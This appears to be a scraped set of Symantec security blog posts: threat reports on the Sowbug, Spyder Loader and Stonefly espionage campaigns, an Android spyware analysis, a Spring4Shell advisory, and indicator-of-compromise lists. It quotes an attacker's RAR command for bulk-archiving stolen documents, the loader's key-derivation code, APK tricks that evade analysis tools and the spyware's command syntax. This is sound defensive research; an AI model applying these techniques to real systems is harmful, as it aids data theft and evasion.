Hash e974237c32f5d28019c5328bd022469236da87eecee19487902133aea89432a0 Covenant stager
Hash f577fc8f22b6eec782dbcbe54f5a8f3b00e8e6d8dc7aa94b2fffcc2b7ce09c6a Covenant stager
Hash 53bbc9ebe40725bd74ebf29616f48a8aed0a544dd0e4f40801ac1b522f2cf32f CHM file
Hash fd95ffb7c70f828ef021e7dbdaf852f54f385095e7f58607f093096b68f40a32 Backdoor
Hash 071e20a982ea6b8f9d482685010be7aaf036401ea45e2977aca867cedcdb0217 Unknown
Hash ee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc Backdoor
Hash 4c7813a1f3eb5d5d8b8a1e53af074c96cfc6ddb14b21188fd84970f001bfc0ff Unknown
Hash 471dadfe16cf2cf82566d404d2b7d1baf66b72c385ae272dcc743a285113e280 CHM file
Hash 069a29a0642ea5e2034250f5465cb2230edf1b49ad42d16ff4cddfee1f693314 Unknown
Hash faba07425c1fa65a9a68a17b99e83663a2a32fbb2a7c3df347b7a7411a7058bc Unknown
Hash 0644b3ffc856eb54b53338ab8ecd22dd005ee5aacfe321f4e61b763a93f82aea Unknown
Hash fc002268620fa67ffe260ea9f3a6bbad8637f9bef8ae85b8d6061cec0390b9e2 Unknown
Hash 450ebd66ba67bb46bf18d122823ff07ef4a7b11afe63b6f269aec9236a1790cd Unknown
IP Address 95.179.177.157 Covenant C2
IP Address 185.205.210.46 Powershell C2
IP Address 185.243.115.69 Proxy tunnel
IP Address 185.243.114.247 Proxy tunnel
Symantec Enterprise Blogs
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Geopolitical Tensions May Increase Risk of Destructive Attacks
Organizations should exercise heightened vigilance as political tensions in the Middle East may increase risk of attacks by Iranian-sponsored groups.
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Sowbug: Cyber espionage group targets South American and Southeast Asian governments
A previously unknown attack group called Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia, with a focus on foreign policy institutions and diplomatic targets
Symantec has identified a previously unknown group called Sowbug that has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.
Symantec saw the first evidence of Sowbug-related activity with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia. We have subsequently identified further victims on both sides of the Pacific Ocean. While the Felismus tool was first identified in March of this year, its association with Sowbug was unknown until now. Symantec has also been able to connect earlier attack campaigns with Sowbug, demonstrating that it has been active since at least early-2015 and may have been operating even earlier.
To date, Sowbug appears to be focused mainly on government entities in South America and Southeast Asia and has infiltrated organizations in Argentina, Brazil, Ecuador, Peru, Brunei and Malaysia. The group is well resourced, capable of infiltrating multiple targets simultaneously and will often operate outside the working hours of targeted organizations in order to maintain a low profile.
Highly targeted intrusions
Some clues about the motivation and interests of the attackers can be found in their activities after compromising victims. For example, in a 2015 attack on one South American foreign ministry, the group appeared to be searching for very specific information.
The first evidence of its intrusion dated from May 6, 2015 but activity appeared to have begun in earnest on May 12. The attackers appeared to be interested in one division of the ministry that is responsible for relations with the Asia-Pacific region. They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command:
cmd.exe /c c:\windows\rar.exe a -m5 -r -ta20150511000000 -v3072 c:\recycler\[REDACTED].rar "\\[REDACTED]\*.docx" \\[REDACTED]\*.doc.
Interestingly, the command specified that only files modified from May 11, 2015 onwards should be archived.
The attackers appear to have successfully extracted the archive because an hour later they returned, this time attempting to extract all documents modified from May 7, 2015, an extra four days’ worth of data. Presumably they either didn't find what they were looking for in the initial incursion, or else noticed something in the documents they stole earlier that prompted them to hunt for more information.
The attackers didn’t stop there. Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting, again attempting to extract all Word documents. In this case, they searched for any documents modified from May 9 onwards. The attackers then seemed to broaden their interest, listing the contents of various directories on remote shares, including one belonging to another division of the South American foreign ministry, this one responsible for relations with international organizations. They also deployed two unknown payloads to the infected server. In total, the attackers maintained a presence on the target’s network for four months between May and September 2015.
Network traversal: Keeping a low profile
Sowbug frequently maintains a long-term presence on the networks of targeted organizations, sometimes remaining inside a victim environment for up to six months. One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software. This allows the attackers to hide in plain sight, as their appearance in process listings is unlikely to arouse suspicion.
For example, in September 2016, Sowbug infiltrated an organization in Asia, deploying the Felismus backdoor on one of its computers, Computer A, using the file name adobecms.exe in CSIDL_WINDOWS\debug. From there, it installed additional components and tools to a directory named CSIDL_APPDATA\microsoft\security.
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe, collecting system-related information, such as the OS version, hardware configuration, and network information. They then performed some further reconnaissance, attempting to identify all installed applications on the computer. They returned four days later, creating a sub-directory called “common” in the Adobe directory of the Program Files folder, i.e. c:\Program Files\Adobe\common, and installed another tool in this sub-directory, again named adobecms.exe. This was possibly an updated version of the backdoor.
The attackers’ network reconnaissance appeared to be successful because a second computer of interest in the organization was identified and compromised. The attackers then returned to Computer A, installing another executable called fb.exe. This file appears to be used to copy Felismus across the network to other computers and there is evidence that the attackers used it to attempt to infect at least two more computers.
The attackers took further measures to remain under the radar by carrying out their operations outside of standard office hours. In this case, the attackers maintained a presence on the target’s network for nearly six months between September 2016 and March 2017.
Infection vectors
How Sowbug performs its initial infiltration of a target’s network remains unknown. In some cases, there was no trace of how Felismus made its way onto compromised computers, meaning it was likely deployed from other compromised computers on the network. In other attacks, there was evidence that Felismus was installed using a tool known as Starloader (detected by Symantec as Trojan.Starloader). This is a loader that installs and decrypts data from a file called Stars.jpg. Additionally, Starloader was also observed deploying additional tools used by the attackers, such as credential dumpers and keyloggers.
It is still unknown how Starloader is installed on the compromised computer. One possibility is that the attackers use fake software updates to install files. Symantec has found evidence of Starloader files being named AdobeUpdate.exe, AcrobatUpdate.exe, and INTELUPDATE.EXE among others. These were used to create versions of the Felismus backdoor as well as other tools.
Global threat
While cyber espionage attacks are often seen against targets in the U.S., Europe, and Asia, it is much less common to see South American countries targeted. However, the number of active cyber espionage operations has increased steadily in recent years and the emergence of Sowbug is a reminder that no region is immune to this kind of threat.
Protection
Symantec customers are protected against Sowbug and Symantec has also made efforts to notify identified targets of its operations.
Customers with Intelligence Services or WebFilter-enabled products are protected against activity associated with the Sowbug group. These products include:
Web Security Service (WSS)
ProxySG
Advanced Secure Gateway (ASG)
Security Analytics
Content Analysis
Malware Analysis
SSL Visibility
PacketShaper
Symantec has the following specific detections in place for the threats called out in this blog:
AV
Backdoor.Felismus
Trojan.Starloader
IPS
System Infected: Backdoor.Felismus Activity
System Infected: Backdoor.Felismus Activity 2
System Infected: Backdoor.Felismus Activity 3
Indicators of compromise
Backdoor.Felismus samples
MD5 Detection
514f85ebb05cad9e004eee89dde2ed07 Backdoor.Felismus
00d356a7cf9f67dd5bb8b2a88e289bc8 Backdoor.Felismus
c1f65ddabcc1f23d9ba1600789eb581b Backdoor.Felismus
967d60c417d70a02030938a2ee8a0b74 Backdoor.Felismus
Trojan.Starloader samples
MD5 Detection
4984e9e1a5d595c079cc490a22d67490 Trojan.Starloader
Hacktools
MD5 Detection
e4e1c98feac9356dbfcac1d8c362ab22 Hacktool.Mimikatz
Installation directory
%WINDOWS%\debug
%APPDATA%\microsoft\security
Command and control infrastructure
nasomember[DOT]com
cosecman[DOT]com
unifoxs[DOT]com
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Splunk: Integrating for Better Threat Recognition
With security operations centers drowning in data, Splunk looks for better ways to reduce the security-event workload for companies
Security operations centers are drowning in data. More than half of all companies—55 percent—have to deal with more than 10,000 alerts every day. This deluge leaves 74 percent of IT workers feeling overwhelmed by threat alerts, one 2017 study found.
Trying to pick out the true threats in such an environment can be impossible without the right tools. Information-Security specialists at a company were unable to determine the true nature of a generic threat—labeled "malware.binary"—and decided not to follow up on a threat alert, resulting in the leak of 110 million records in the retailer's 2013 breach.
And the problem is only getting worse. Only three years ago, the number of alerts were much smaller, only 37 percent of companies had to deal with 10,000 alerts every month, not daily. More data has led to more alerts, but not necessarily more visibility.
Splunk is continuously innovating to reverse this trend. We have always endeavored to help companies sift through their massive mountain of data to find the nuggets of information that they need to inform and run their business.
So, in June 2017, when Symantec opened up its data platform and launched its Technology Integration Partner Program (TIPP), Splunk knew that we wanted to be onboard. Through TIPP and together with Symantec, we created a set of eight Splunk Apps that integrate Symantec's data from on-premise endpoints and servers—as well as cloud security data—to give better visibility to our customers.
As Peter Doggart, Symantec's VP of Business Development explains about TIPP, "While many partner programs exist today, we have decided to focus on the technical integration aspect of partnership. This is the single most important aspect of making a difference in security. By working to integrate our data feeds, linking together our defensive platforms, leveraging each other’s advanced detection suites, automating workflows to increase productivity, only then can we make a real impact."
Key to the integration was accessing the Integrated Cyber Defense Exchange (ICDX) data from Symantec. (Controlled Availability) These days, cyber attacks are sophisticated and the typical SOC analyst is always faced with trying to figure out, from disparate data sources, whether alerts are signs of attack or compromise. When our customers initially analyze alerts as part of the security investigation and response process, they want to be able to look at everything in their environment.
So having all the data from ICDX, customers can not only do things like observe what is going on in their environment, but also use other analytics to speed up incident response and investigations.
Using our Symantec-specific automation and orchestration playbooks for our Phantom SecOps Platform, security specialists can augment alerts with threat intelligence data, giving analysts more context to gauge the criticality of the alert. Potentially malicious binaries can be automatically sent to malware scanners to "detonate" the files and confirm their malicious behavior. And, customers can easily check all their endpoints for similar code by automatically comparing indicators of compromise.
The end result is a tool for security operations centers that, not only increases visibility, but speeds response. Last month at .conf18, our annual Splunk conference, Starbucks discussed how it utilized the Splunk and Symantec platform integration to allow them to respond to potential issues in minutes, rather than hours.
In addition, the integration can bring other benefits. One of the Splunk Phantom playbooks created by Starbucks automates the response to employees who find an URL blocked by the system. Taking these types of requests off the plate of security analysts helps reduce the daily noise that can otherwise distract them from focusing on security.
For the first time, Splunk and Symantec users have a simple way to access the data provided by the plethora of security tools and bridge the gap between two vendors' products. In the past, companies had to deal with each product as a separate feed. Our integration with Symantec allows companies to access all their security information through a simple set of apps.
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Spring4Shell: New Zero-day RCE Vulnerability Uncovered in Java Framework
Symantec products will protect against attempted exploits of Spring4Shell vulnerability.
UPDATE, April 1, 2022: Updated with additional protection information
A zero-day vulnerability in the Spring Core Java framework that could allow for unauthenticated remote code execution (RCE) on vulnerable applications was publicly disclosed on March 30, before a patch was released. It was dubbed Spring4Shell.
Will Symantec products protect against exploit attempts?
Yes, Symantec products will guard against exploit attempts with the following detections:
Network-based
Audit: Spring Core Spring4Shell Activity
Web Attack: Spring Core Spring4Shell Activity 2
File-based
Hacktool
Hacktool.Spring4shell
Policy-based
Data Center Security (DCS) Intrusion Prevention (with default policies) provides zero-day protection against exploitation of the Spring4Shell vulnerability.
Is a patch available for Spring4Shell?
Spring has now released Spring Framework 5.3.18 and 5.2.20, which it says address the vulnerability. Spring Boot 2.6.6 and 2.5.12 that depend on Spring Framework 5.3.18 have also been released. Temporary remediation steps were also published by researchers at Praetorian prior to the updates being released. Spring also published suggested workarounds in its blog.
A CVE report for the vulnerability was also published this afternoon and given the designation CVE-2022-22965, and assessed as being “high severity.”
How serious is this vulnerability?
There appears to have been confusion about the potential severity of Spring4Shell. While it was initially reported that all versions of Spring Core with the JDK version greater than or equal to 9.0 were vulnerable to it, researchers subsequently determined that it appears Spring Core must be configured in a certain way to be vulnerable.
In its vulnerability report, Spring itself stated that for the “specific exploit” to work, an application must meet the following prerequisites:
JDK 9 or higher
Apache Tomcat as the Servlet container
Packaged as WAR
spring-webmvc or spring-webflux dependency
“If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit,” the advisory reads. However, it did also say that “the nature of the vulnerability is more general, and there may be other ways to exploit it.”
Given these prerequisites, it’s not clear how many instances of the Spring Core Java framework may be vulnerable to this bug.
Is Spring4Shell being actively exploited in the wild?
Proof-of-concept exploit code for Spring4Shell was leaked on GitHub shortly after it was discovered and before a patch was issued. The code was swiftly removed, but not before it was downloaded by several security researchers who confirmed the vulnerability. It was also reposted on various platforms, meaning it was available to the public, including malicious actors. It has been reported that Spring4Shell was being actively exploited in attacks.
What is Spring4Shell?
Spring4Shell is a bug in Spring Core, a popular application framework that allows software developers to quickly and easily develop Java applications with enterprise-level features. These applications can then be deployed on servers, such as Apache Tomcat, as stand-alone packages with all the required dependencies.
The bug allows an unauthenticated attacker to execute arbitrary code on a vulnerable system.
In a blog published on Thursday (March 31), Spring revealed that the Spring4Shell bug was reported to VMware (which owns Spring) by researchers from AntGroup FG on Tuesday, with the team intending to release emergency patches for the bug on Thursday, but details of the bug were leaked online on Wednesday.
Is Spring4Shell related to CVE-2022-22963?
No, CVE-2022-22963 is a different bug in the Spring Cloud Function, which is a separate Java library from Spring Core. An advisory for this bug was published on March 29 and patches are available for it.
Is this new bug as serious as Log4Shell?
While the naming of the vulnerability appears to have been inspired by the Log4Shell vulnerability that was discovered in December 2021, it is not clear if the impact of this bug will be as significant.
We will update this blog with any new relevant information as we get it.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
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Spyder Loader: Malware Seen in Recent Campaign Targeting Organizations in Hong Kong
Activity appears to be a continuation of previously documented Operation CuckooBees campaign.
Symantec has observed a likely continuation of the Operation CuckooBees activity, this time targeting organizations in Hong Kong.
Operation CuckooBees was first documented in May 2022 by researchers at Cybereason, who said the intelligence-gathering campaign had been operating under the radar since at least 2019, stealing intellectual property and other sensitive data from victims.
In the attacks observed by Symantec, the attackers remained active on some networks for more than a year. We saw the Spyder Loader (Trojan.Spyload) malware deployed on victim networks, indicating this activity is likely part of that ongoing campaign. While we did not see the ultimate payload in this campaign, based on the previous activity seen alongside the Spyder Loader malware it seems likely the ultimate goal of this activity was intelligence collection.
Background to Operation CuckooBees
The Spyder Loader malware was first discussed publicly in a March 2021 blog by SonicWall, with the researchers saying at the time that the malware was “being used for targeted attacks on information storage systems, collecting information about corrupted devices, executing mischievous payloads, coordinating script execution, and C&C server communication.”
These initial findings were expanded on substantially in a detailed Cybereason investigation published in May 2022, which detailed a long-running campaign that the researchers dubbed Operation CuckooBees. They said that this campaign had been ongoing since at least 2019. The researchers said that the attackers exfiltrated hundreds of gigabytes of information and that they “targeted intellectual property developed by the victims, including sensitive documents, blueprints, diagrams, formulas, and manufacturing-related proprietary data.” They also stole data that could be leveraged for use in future cyber attacks — such as credentials, customer data, and information about network architecture.
Among the tools used in that campaign was the Spyder Loader malware, which is what was also observed in the activity seen by Symantec researchers.
Spyder Loader - Technical Details
The loader sample analyzed by Symantec researchers is compiled as a 64-bit PE DLL.
It is a modified copy of sqlite3.dll, with the following malicious export added:
sqlite3_prepare_v4
The sqlite3_prepare_v4 export expects a string as its third argument. Reportedly, whenever an export is executed by rundll32.exe, the third argument of the called export should contain part of the process command-line. When this loader is executed, it extracts the file name from its third argument, and the referred file is expected to contain a sequence of records. Each record has the following structure:
Offset Size Description
0 DWORD blob_id
4 DWORD blob_size
8 DWORD blob_cksum
0x0c blob_size BYTEs encrypted_blob
At minimum, the malware sample requires records storing blob_ids 1 and 2. The sample also checks for the optional blob_ids 3 and 4. For blob_ids 1 and 2, the content of encrypted_blob is encrypted using the AES algorithm in Ciphertext Feedback (CFB) mode with segment_size of 0x80 bits.
The encryption key is based on the name of an affected computer per GetComputerNameW() API:
def generate_aes_key():
computer_name = [obtained via GetComputerNameW()]
hash = hashlib.sha256(computer_name.upper())
digest = hash.digest()
return digest[: 0x10]
And the initialization vector (IV) is derived from the corresponding record header:
def generate_aes_IV():
return struct.pack("<IIII", blob_id, blob_size, blob_cksum, 0)
Then the sample creates FileMapping with the following parameters:
hFile = INVALID_HANDLE_VALUE,
dwMaximumSizeLow = sum of blob_sizes for blob_ids 2, 3 and 4,
lpName = "Global\{94803275-9AEA-474E-A8F7-904EDE192BF4}"
Next, it populates the created FileMapping with:
a copy of record storing blob_id 2, but decrypting the content of field encrypted_blob,
(if present) copy of record storing blob_id 3, and
(if present) copy of record storing blob_id 4.
Then it checks the status of service IKEEXT and stops the service, if running.
Next, it drops the decrypted content of blob_id 1 as the following file, before starting the service:
[SystemDirectory]\wlbsctrl.dll
This is apparently intended to execute the created wlbsctrl.dll file. It is likely that this file acts as a next-stage loader that executes the content of blob_id 2 from the created FileMapping. It is possible that the remaining optional blobs could then be used for follow-up stages and/or configuration data. However, as Symantec researchers did not observe these additional content blobs being executed, this is speculative.
As previously mentioned, AES encryption is used where the sample uses the CryptoPP C++ library, but ChaCha20 algorithm encryption is also used to obfuscate one of the strings. The malware also cleans up created artifacts, overwriting the content of the dropped wlbsctrl.dll file before deleting it, for example. These steps are most likely taken in order to prevent the activity being analyzed.
Debug strings also indicated that the source code location of the malware was the following:
e:\works\2021\stonev4-legacy\cryptopp_5_6_4\cryptopp\secblock.h
Similarities between this activity and the Spyder Loader activity described by Cybereason include:
Use of a modified version of sqlite3.dll
rundll32.exe command-line example seen in Cybereason’s research seems consistent with how the third parameter of malicious export is used in this sample
Use of the CryptoPP C++ library
These various similarities led us to conclude that this sample was also a version of the Spyder Loader malware. We saw various variants of Spyder Loader on victim networks, all displaying largely the same functionality.
Other Activity on Victim Networks
We saw assorted other malware samples that carried out various other types of activity on victim networks, including a modified SQLite DLL with the malicious export sqlite3_extension_init, which creates and starts a service named GeneralManintenanceWork for a file named data.dat. We also saw Mimikatz being executed on victim networks, as well as a Trojanized ZLib DLL that had multiple malicious exports, one of which appeared to be waiting for communication from a command-and-control (C&C) server, while the other would load a payload from the provided file name in the command-line.
Another sample installs and runs the below component of winpcap as a service:
It accepts either -i or -v as a parameter
-i installs and runs a service
-v checks if winpcap is already installed
Files with the names npf.sys and packet.dll are then installed.
Intelligence Gathering the Likely Goal
While we do not see the final payload delivered in this campaign, the use of the Spyder Loader malware and crossover with the activity previously identified by SonicWall and Cybereason, combined with the victims seen in this recent activity, make it most likely that the motivation behind this activity is intelligence gathering.
The fact that this campaign has been ongoing for several years, with different variants of the Spyder Loader malware deployed in that time, indicates that the actors behind this activity are persistent and focused adversaries, with the ability to carry out stealthy operations on victim networks over a long period of time. Companies that hold valuable intellectual property should ensure that they have taken all reasonable steps to keep their networks protected from this kind of activity.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IOCs) – Spyder Loader
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Spyware Employs Various Obfuscation Techniques to Bypass Static Analysis
A look at some deceptive tactics used by malware authors in an effort to evade analysis.
With the surging popularity of mobile applications, the landscape of cybersecurity is encountering increasingly intricate and discreet forms of malicious software.
One common strategy in the realm of cybersecurity is code obfuscation. This practice involves the deliberate alteration of various elements within the code, such as variables, functions, and class names, rendering them virtually indecipherable. This not only poses a formidable challenge for anyone attempting to discern their purpose from their names but also significantly amplifies the complexity involved in decompilation.
Recently, our attention was caught by a Spyware cluster, which has employed a series of ingenious techniques to heighten the difficulties associated with static analysis. These methods, which we will discuss below, draw inspiration from diverse sources, some originating from resilient services and others from various "tools" at the disposal of these unscrupulous actors.
Analysis of Deceptive Tactics
Resource Camouflage
The world of mobile application security is rife with inventive techniques for concealing essential resources within APK files, the containers that hold Android applications. One such strategy involves creating directories within the APK that share the same names and permissions as vital resources. Figure 1 provides a visual representation of this approach.
Figure 1. Directories created with same names
This technique presents complications for various analysis tools. For instance, Jadx, a popular decompiler for Android applications, can encounter problems when attempting to extract the AndroidManifest.xml file from these disguised directories. Figure 2 shows the wrong extraction in Jadx.
Figure 2. Wrong extraction in Jadx
Compression Trickery
Another sneaky method involves hiding critical resources within an APK using an unsupported compression method for the local file header, while employing the correct compression method in the central directory file header. Figure 3 is the snapshot of deceptive compression code. This deceptive maneuver also leads to issues with certain tools, including third-party libraries, causing them to malfunction. Figure 4 shows the error messages printed from the tools.
Figure 3. Deceptive compression code
Figure 4. Error messages from tools
Nonetheless, Android can manage this effectively because it can retrieve the “correct” compression method from the central directory file header.
Figure 5. “Correct” compression from central directory file header
Signature Scheme Evasion through 'No Compression' Data"
Exploring further within these covert techniques, we encounter the intriguing utilization of "no compression" data. Android currently supports both the no compression mode and the standard deflate compression mode (as shown in Figure 6). Traditionally, in Android's mapping, the no compression entry is represented as zero and begins with “00 00” (as seen in Figure 7). However, what piqued our interest is the presence of obfuscated entry codes within this spyware cluster (as displayed in Figures 8 and 9). Despite these unique entry codes, these spyware variants can still be installed on Android devices.
Figure 6. Supported compression methods in Android
Figure 7. Common no compression entry
Figure 8. Obfuscated central directory entry
Figure 9. Obfuscated compression file entry
Android's support for both the no compression and standard deflate compression methods is pivotal in managing these scenarios. For higher Android versions that employ APK signature schemes V2 and V3, the system adeptly handles "no compression" even when faced with unsupported compression entry codes in both file headers. This seamless handling ensures the smooth installation of APKs, despite the presence of obfuscated entry codes (as evident in Figure 10).
Figure 10. Android code to gracefully manage incorrect entry codes
Then this group of spywares makes use of the design, and specifies them to support APK signature schemes V2 and V3 only (Figure 11, 12). We can see the V2 and V3 signatures schemes as well as the APK signature block number for V2+ (Figure 13).
Figure 11. V2 signature scheme
Figure 12. V3 signature scheme
Figure 13. APK signature block
By doing so, these spywares effectively shield themselves from static analysis by various commonly used tools. For example, Apktool may falter in decoding due to the usage of a non-standard compression method (Figure 14). Zipping libraries like Unzip and 7z may struggle to extract files, as they strictly adhere to the legal ZIP format (Figure 15). Jadx may also face challenges when dealing with files manipulated in this manner (Figure 16).
Figure 14. Apktool decode error
Figure 15. Zipping libraries error
Figure 16. Jadx analysis error
Resource Obfuscation
“Obfuscated” AndroidManifest.xml and resources.arsc files can disrupt reverse engineering tools. With invalid attributes and illegal resource IDs, for example, the Android system doesn't parse illegal resource ID numbers, so while adding such a redundant attribute may not affect the APK's regular functionality, it can still cause issues with reverse engineering tools like Apktool, Jadx, JEB, etc. (Figure 17).
Figure 17. Jadx error code
Analysis of App Behaviors
The spyware cluster, along with its variants, goes to great lengths to conceal its true identity by masquerading as well-known games, popular apps, and even system-level applications. Among the list of decoys are prominent names like Play Store, Google TV, Google Meet, Google Translate, Chrome, YouTube, Netflix, TikTok, Discord, Spotify, Angry Birds, Facebook Lite, Instagram, , Disney+, Snapchat, and Android Settings. To further enhance their deception, they engage in app repackaging, essentially dressing themselves up as these widely recognized apps to appear even more convincing to unsuspecting users.
Figure 18. Popular apps that the Spyware may be disguised as
When an unsuspecting user installs and opens one of these misleading applications, it will persistently seek accessibility permissions (as depicted in Figure 19). While this may appear innocuous, it is merely the beginning of a more complex operation. Through interactions with the user interface, these apps discreetly secure sensitive permissions and disable power optimization, as demonstrated in GIF 1.
Figure 19. Access requesting page
Automated permission granting
Figure 20. Encoded and decoded IP addresses
Although the default servers are not valid so far. To gather additional data and simulate the responses necessary to trigger malicious behaviors, we set up a mock server. The deceptive apps send fundamental app data, system information, and configuration details to this server and await further instructions (Figure 21).
Figure 21. Data sent by deceptive apps
Moreover, once granted accessibility access, these apps can monitor and report a user's application activities to a designated server (Figure 22). All this activity is transmitted to the server after being encrypted (Figure 23).
Figure 22. User’s application activities are logged
Figure 23. Encrypted data is sent
Let's delve into the intricacies of the C&C sections. These sections intentionally introduce noise, including junk code and irrelevant strings, into essential methods such as communication and command parsing (Figure 24). Their aim is to disrupt the functioning of static analysis tools like Jadx.
Figure 24. Junk code in apps
By stripping away this noise, we can discern that the server's response adheres to a specific format (Figure 25). The length components have variable lengths and end with '0', while the data content incorporates commands with GZIP compression.
Figure 25. Stripped data structure
The command handler AsyncTask is awaiting valid commands to be delivered from the server after launching the application (Figure 26).
Figure 26. AsyncTask code for awaiting command
Once we remove the noise from the command parser code, it becomes evident that it possesses substantial capabilities. We listed a few of them in Table 1.
Table 1. Capabilities from command
Feature Command
Toast alert [data][Separator]msg:[data][Separator][data][Separator][data][Separator]ddll[Separator]...
Google Authenticator app [data][Separator]goauth...
Media record [data][Separator]srecon/off...
Upload record [data][Separator]GRC...
Enable run in background [data][Separator]rmiuibg...
Upload selected record [data][Separator]gtrc[name]#[name]...
Collect Camera Info [data][Separator]lcm...
Open URL [data][Separator]lnkSTP/mon[URL]...
Send SMS (all contacts/specified number) [data][Separator]ssmsall/[Dest]#[Text]...
Disable Apps (via auto-click HOME and BACK) [data][Separator]CRDE>/D>[Package name]...
Device Admin (lock device or wipe data) [data][Separator]admlck/wip...
Auto-Click [data][Separator]Aclk{X,Y}...
Request Senstive Permissions (Auto granted by UI operation via Accessiblity) [data][Separator]RPM[lod]...
Upload Screen Text [data][Separator]SCRD...
Upload Logs [data][Separator]srdall...
Gesture Click/Hold [data][Separator]spclk/Bc...
Keep Device Awake [data][Separator]spHo...
Take Screenshot [data][Separator]spSK...
Enable Observer for uploading Screenshot [data][Separator]spSK2...
Unlock PIN [data][Separator]spUPIN...
Dynamic Load Dex ...
Show Window View ...
... ...
To verify our findings, we employed a toast alert and sendSMS command for testing purposes. The commands delivered by our mock server were executed successfully (Figure 27).
Figure 27. Command successful execution
The spywares also have anti-killing/uninstalling methods to protect themselves. When the app detects that the user is trying to kill or uninstall itself through accessibility, it triggers the 'HOME' or 'BACK' action (Figure 28).
Figure 28. Anti-killing/uninstalling code
Conclusion
In the realm of mobile application security, we've explored a range of deceptive tactics, including resource camouflage, compression trickery, signature scheme evasion, and resource obfuscation. These techniques pose challenges for users and defenders, making it crucial for security experts to understand these tactics to counter evolving threats effectively.
Users who have installed Broadcom SEP Mobile will be shielded from this particular set of spyware threats.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Symantec recommends users follow these best practices to stay protected from mobile threats:
Install a suitable security app, such as Symantec Endpoint Protection, to protect your device and data
Refrain from downloading apps from unfamiliar sites and only install apps from trusted sources
Keep your software up to date
Pay close attention to the permissions that apps request
Make frequent backups of important data
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When you buy furniture today, you're given a diagram and an allen wrench - then you're on your own. Luckily, this is not the case with Symantec Endpoint Security (SES). In contrast, SES comes with a large set of detailed documentation so customers have everything they need - they are not on their own. Due to the ongoing transformation of our products with SymantecAI, customers have fast and easy access to whatever they need to keep systems secure and running smoothly. The new Generative AI-powered chatbot provides immediate assistance to Symantec Endpoint Security users.
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SymantecAI is trained on a vast knowledge base of Symantec Endpoint Security documentation and support articles, so you can be confident that the information it provides is accurate and reliable.
With the SymantecAI chatbot you simply type your question into the chat window and SymantecAI will generate a response. The SymantecAI chatbot is easy to use.
Opening SymantecAI ChatBot
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To use the SymantecAI chatbot, simply log in to the Symantec Endpoint Security cloud console at the following URL: https://securitycloud.symantec.com and click on the chat icon on the bottom right of the screen to start a chat session.
SymantecAI chatbot is a valuable new resource for Symantec Endpoint Security users. It provides fast, efficient, and accurate support, whenever you need it. To learn more about how the SymantecAI chatbot works, please visit our demo here, or ask the chatbot.
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Staying One Step Ahead with Symantec
Symantec announces the launch of a new blog platform with the goal of being the world’s most trusted source for cyber security-related content.
When it comes to cyber security, the one constant is perpetual change. Given how rapidly the security landscape evolves, it’s a struggle just to stay informed about the multiplying threats to your organization. Still looking for the right information to guide you past the cyber shoals? Then you’ve come to the right place.
Today, Symantec officially launches its new blog platform, with the rather bold goal of being “nothing less than the world’s most trusted source for cyber security related news, recommendations, opinion and analysis,” according to VP of Corporate Marketing Ellen Roeckl. That’s what has a long-time tech editor and journalist like me excited.
There’s more great content than ever before to choose from. Each week you’ll find regular contributions from some of the top minds in the security business - both inside and outside of Symantec - who will share their insights on the technology trends impacting the business world. For example, you’ll find folks like Brian Witten, the director of Symantec’s Research Labs, riffing on the future of always-on security as a tool to use against any imaginable cyber attacks cooked up by the bad guys.
Today, Symantec officially launches its new blog platform, with the rather bold goal of being “nothing less than the world’s most trusted source for cyber security related news, recommendations, opinion and analysis." - Ellen Roeckl, Symantec VP Corporate Mktg.
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Stonefly: North Korea-linked Spying Operation Continues to Hit High-value Targets
Espionage group focuses on obtaining classified or sensitive intellectual property that has civilian and military applications.
The North Korean-linked Stonefly group is continuing to mount espionage attacks against highly specialized engineering companies with a likely goal of obtaining sensitive intellectual property.
Stonefly specializes in mounting highly selective targeted attacks against targets that could yield intelligence to assist strategically important sectors such as energy, aerospace, and military equipment. Virtually all of the technologies it appears to be interested in have military as well as civilian uses and some could have applications in the development of advanced weaponry.
History of ambitious attacks
Stonefly (aka DarkSeoul, BlackMine, Operation Troy, and Silent Chollima) first came to notice in July 2009, when it mounted distributed denial-of-service (DDoS) attacks against a number of South Korean, U.S. government, and financial websites.
It reappeared again in 2011, when it launched more DDoS attacks, but also revealed an espionage element to its attacks when it was found to be using a sophisticated backdoor Trojan (Backdoor.Prioxer) against selected targets.
In March 2013, the group was linked to the Jokra (Tojan.Jokra) disk-wiping attacks against a number of South Korean banks and broadcasters. Three months later, the group was involved in a string of DDoS attacks against South Korean government websites.
In recent years, the group’s capabilities have grown markedly and, since at least 2019 Symantec has seen its focus shift solely to espionage operations against select, high-value targets. It now appears to specialize in targeting organizations that hold classified or highly sensitive information or intellectual property. Stonefly’s operations appear to be part of a broader North Korean-sponsored campaign to acquire information and intellectual property, with Operation Dream Job, a more wider-ranging trawl across multiple sectors, being carried out by another North Korean group, Pompilus.
Latest target
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17 hours later: Shortly after compromising the initial server, the attackers installed an updated version of Stonefly’s Backdoor.Preft malware (aka Dtrack, Valefor). The attackers then used a masqueraded version (file name: pvhost.exe) of PuTTY’s PSCP command line application, presumably to exfiltrate data from the infected machine. Shortly after PSCP was executed, the credential-dumping tool Mimikatz (masquerading under the file name pl.exe) was run.
Day 2: Malicious activity resumed when 3proxy tiny proxy server, a publicly available proxy tool (file name: svhost.exe) was executed. Use of this tool continued for the next four days. A second suspected proxy tool was installed two days into this four day period (file name: tapi.exe). Several hours afterwards, a copy of the Preft backdoor (file name: svchost.exe) was installed. Two days later, WinSCP, an open-source SSH file-transfer tool was used, presumably to exfiltrate or upload data to the compromised computer.
